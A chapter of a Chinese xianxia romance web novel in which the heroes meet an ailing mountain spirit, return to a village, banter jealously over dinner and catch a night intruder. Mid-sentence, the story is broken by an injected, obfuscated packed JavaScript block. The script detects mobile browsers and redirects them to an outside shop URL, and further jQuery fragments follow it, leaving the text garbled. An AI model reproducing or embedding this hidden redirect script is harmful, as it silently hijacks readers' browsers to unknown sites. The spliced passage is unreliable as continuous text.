谢灼闻言挑眉,唇弯得更深:“哦?这位兄台,我们认识吗?”
银发男子目光复杂地看着他,沉默许久,却又轻轻摇头。
他低声谢过沈祭雪,尝试着起身,不料脚下虚浮无力,身形又是一晃。
沈祭雪及时伸手扶住了他,微微蹙眉,低声道:“……不必强撑。”
谢灼:“呵。”
银发男子抬眼看向沈祭雪,眼眸中带着歉意:“失礼了……多谢姑娘。”
他缓缓抬起手,指尖微屈,轻轻向地上一引。那截落在地上的嫩绿树枝飞回了他掌心。
握住树枝的瞬间,他的脸上似乎恢复了一丝血色,周身气息也稳固了些许。
银发男子借着沈祭雪的搀扶,稍稍站稳。一只手将散开的衣襟拢了拢,抬眼看了看他们,终于开口:“我是此山山灵。”
“那这山下疫病蔓延,生灵涂炭,你也是知晓的了?”谢灼向前走了几步,目光带着审视,打量着他。
山灵苦笑一声,眉眼间掠过一丝痛楚,“……是。这山下疫病,山中邪祟,皆因我而起。”
“为什么?”沈祭雪眸光微动,问道。
山灵轻轻咳嗽了一声,掩住唇,指缝间又有血水渗出,被他悄然抹去。
“我执掌此山生机循环,平衡地脉灵息。然近些年,不知为何,山中灵脉异动,地底浊气上涌。”
“于山中经过,沾染了浊气的人,轻则神志疯癫,重则嗜血嗜杀。我为此地山灵,自当护佑他们,强行吸纳灵浊二气,自身本体受损,沉疴难起。”
他望向周围的雾气,眼中满是痛惜。
“灵脉受损,我也无法净化和压制地脉中的浊气。这些浊气散入山林,沾染生灵,便化作了你们所见的怨毒尸傀,邪蟒异兽。”
“……而有些,则随山风水气流入山下村镇,酿成疫病。”
言至最后,他的声音越来越低。
身为山神,却只能眼睁睁看着自己守护的土地和生灵被污秽吞噬,自身亦被病痛折磨,心酸绝望,难以言表。
沈祭雪垂下眼眸,沉默不语。
谢灼叹了口气,总算说了句稍微正经的话:“所以,根源在你身上。把你治好了,这山上的雾气,山下的疫病就都能消停了?”
山灵苦笑摇头,眼眸黯淡:“谈何容易。我本体受损,需以至纯灵物缓慢温养,但此地邪气已深,我……支撑不到那时。”
他话未说完,又是一阵剧烈的咳嗽,唇边血水溢出,整个人向下滑去。
沈祭雪立刻伸出手撑住他。
天色悄然暗淡下来,林间光影稀疏,不远处的浓雾又开始蠢蠢欲动,向着这片清净之地缓慢合拢。
“此地不宜久留。”沈祭雪果断道,“你随我们下山。”
山灵闻言,却缓缓摇头,气息微弱:“不……我不能离开。我与此山灵脉相连,离开山……浊气只会散得更快,山下情况……也只会更糟。”
他拒绝得坚决,眼中满是固执。
沈祭雪淡淡道:“你留在这里,只会死得更快。而且,山下人都快死完了,情况不会更糟了。”
山灵闻言,眼瞳微微睁大,许是受不了这等直白的话语,竟直接昏了过去。
沈祭雪:“……”
她又说错话了?
谢灼啧了一声:“真是麻烦。”
就在此时,前方的雾气又是一阵翻涌。
这次走出的,是洛逢春。
他衣角沾了泥泞湿痕,眉眼间有些许疲惫,看到沈祭雪怀中扶着一位昏迷不醒,衣衫不整的银发美人,微微一怔。
“沈姑娘?”洛逢春快步上前,走到沈祭雪面前,蹙眉问道,“他是?”
沈祭雪对洛逢春道:“他是此山山灵。”顿了顿,又问道,“不过道友,你怎么现在才出来?”
她与洛逢春交过手,知对方实力并不己之下,那些尸傀邪蟒,虽瞧着骇人,却理应不会让他耽搁如此之久。
洛逢春叹了口气,指了指来路:“这山中雾气诡异,我与你们二位失散,遇到了些邪物,……顺手救了个人。”
他侧身,微微向后点头示意。
只见他身后不远处,站着一位脸色苍白的少女。少女衣衫破损,神色惊惶,身上有多处擦伤,紧张地盯着他们。
“我发现她时,她尚有体温,只是昏迷不醒,身上被邪气侵蚀。醒来后,又似乎神志不清。”
“我本想着先带她出去,不料在雾里绕了几圈,竟遇上了你们。”洛逢春道,“天色已晚,我们需尽快下山。”
沈祭雪看了一眼那少女,迷雾中邪异重重,这女子怎能活下来。此事透着蹊跷,但眼下非深究之时。
一行人不敢再耽搁,向山下行去。
许是由于山灵在侧,又许是邪崇来时已被斩了七八,回程的雾气散了许多,也并未再遇到袭击。
抵达村中时,夜幕已完全降临。院落里亮着昏黄的油灯,陈老丈正焦急地踱步,听到动静立刻冲了出来。
见沈祭雪等人平安归来,还多带回了两个人,陈老丈激动得眼眶发红:“仙长!你们可回来了!老天爷,这……这是……”
他看着那少女和面色苍白如纸的山灵,带着询问的眼神看向众人。
“老丈,劳烦再去旁处寻两间静室,再烧些热水。”洛逢春温声道,“这两位受了伤,需要静养。”
陈老丈虽疑惑,但也并不多问,点点头,忙碌起来。
待安顿好一切,沈祭雪和谢灼回到屋内。陈老丈端来简单的饭食,粗茶淡饭,热气腾腾。
谢灼向他道了谢,递过去一块银子。陈老丈推辞几句,擦了擦手,乐呵呵地收了。
谢灼向沈祭雪递过去碗筷,沈祭雪却并没有伸手去接。
她抬着自己的右手腕,微微蹙眉。
不知何时,手腕内侧竟多了一个若隐若现的绿色花纹印记,形状像是某种缠绕的藤蔓,隐隐散发着微弱暖意。
她确信入山之前绝无此物。
“看什么呢?”谢灼凑过头来,瞄了一眼,眼睛眨了眨,“哦,因果印啊。”
沈祭雪看向他,想听解释。
谢灼看着她,伸出了自己的手,笑了一声:“有些山灵水灵就喜欢这套。碰过他们的人都会有,你看,我也有。不用担心。”
沈祭雪将信将疑地看向他的手腕,果然有一个同自己一模一样的印迹。
她迟疑问道:“这东西,会对人有什么影响么?”
谢灼盯着她的眼睛,声音忽而压得极低,勾了勾手,示意她离近些。
“你凑近些,我就告诉你。”
沈祭雪看着他没安好心的样子,深吸一口气,拿起了筷子:“那还是算了。”
谢灼急了:“别啊,你接着问啊。我什么都可以告诉你的。”
沈祭雪装没听见。
谢灼:“你真不想听?”
沈祭雪瞟了他一眼,说今日的饭看上去很不错。
谢灼凑近了些,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16705656|189199||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
阴恻恻地又问了一遍:“……你真的真的不想听?”
沈祭雪默了默,答今日的菜也很不错。
谢灼一扔筷子,咬牙切齿:“我就知道!”
沈祭雪终于看向了他:“……你又知道什么了?”
谢灼死死盯着她,眼神哀怨,语调凄惨:“你就是喜欢会主动宽衣解带,投怀送抱的柔弱病秧子是不是?”
“你就是喜欢宅心仁厚,救天救地的温润君子是不是?”
“你就是不喜欢我是不是?!”
沈祭雪咳呛一声,终于察觉到了满屋子的醋意。
她忍不住想笑,又忍着不笑,放下筷子,唤了一声:“谢灼。”
谢灼翻了个白眼,应了一声:“嗯。”
等着她的下文。
然后……沈祭雪就拿起筷子继续吃饭了。
谢灼气急败坏。
谢灼大吃一惊。
谢灼决定再也不要理她了。
谢灼吸气吐气又吸气,连人带着凳子搬到离沈祭雪最远的角落里,拖长了调子,慢悠悠地说。
“哎呀,其实吧,这因果印对人当然是有影响的。道友若是想活命,我建议,还是现在就把手剁了比较好。”
沈祭雪:“那你呢?”
谢灼目光沉沉地盯着她,答得理直气壮:“我陪你一起剁。”
沈祭雪沉默。
……那还真是谢谢你啊。
不过这人怎么看上去不太聪明的样子。
她低头又看了一眼那手腕上的印记,指尖默运灵力探查,却并无异样,便也没再去管它。
夜深人静。
奔波一日,加之灵力消耗过多,众人早早歇下。
谢灼仍然不肯理沈祭雪,躺在地上,似是早已入睡,呼吸平稳。
沈祭雪和衣卧于榻上,长剑置于手边。
不知过了多久,一阵极其轻微的声响,缓缓靠近她的床榻。
沈祭雪骤然睁开双眼,眸中一片清明。
黑暗中,有什么东西试图悄无声息地缠上她的手腕和脚踝。
沈祭雪身形不动,冰寒灵力透体而出,只听几声脆响,那试图束缚她的东西瞬间被冻结崩裂。
与此同时,她翻身下榻,扣住了一个模糊人影的咽喉。
“唔!”
那人显然没料到她会突然发难,喉咙被死死扼住,又被狠狠掼压在冰冷的土墙之上,发出一声痛苦的闷哼。
沈祭雪借着窗外透入的微弱月光,看清了被制住的人。
竟是一个穿着粗布衣服的年轻男子。
“你是谁?”沈祭雪声音冷冽,“到此来,是受谁指使?”
谢灼坐起了身,懒洋洋地打了个哈欠,看着被沈祭雪死死按在墙上的人,悠悠道:“哎哟,这大半夜的,怎么这么热闹?”
“道友,不如,给他点教训吧?”
这人睡了一觉,居然就自己把自己哄好了。
沈祭雪觉得很稀奇,多看了他两眼。
“你来。”她对谢灼道。
“你看,”谢灼无奈道,“这种杀人诛心的活又推给我了。”
那男子闻言浑身剧颤,冷汗瞬间浸透粗布衣,喉咙里发出恐惧声响。
沈祭雪冷眼旁观。
谢灼慢悠悠地踱步上前,脸上挂着那种惯有的,看热闹不嫌事大的戏谑笑容。
“深更半夜,扰人清梦,确实该罚。”
“嗯,让我想想,从哪里开始好呢?”